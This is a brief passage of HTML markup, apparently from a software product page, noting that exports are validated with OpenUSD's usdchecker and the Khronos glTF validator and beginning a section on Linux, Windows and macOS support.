+ Bridge files. Exports are checked with OpenUSD's usdchecker and the Khronos glTF validator.</p>
</article>
<article class="card">
<h3>Linux, Windows, macOS</h3>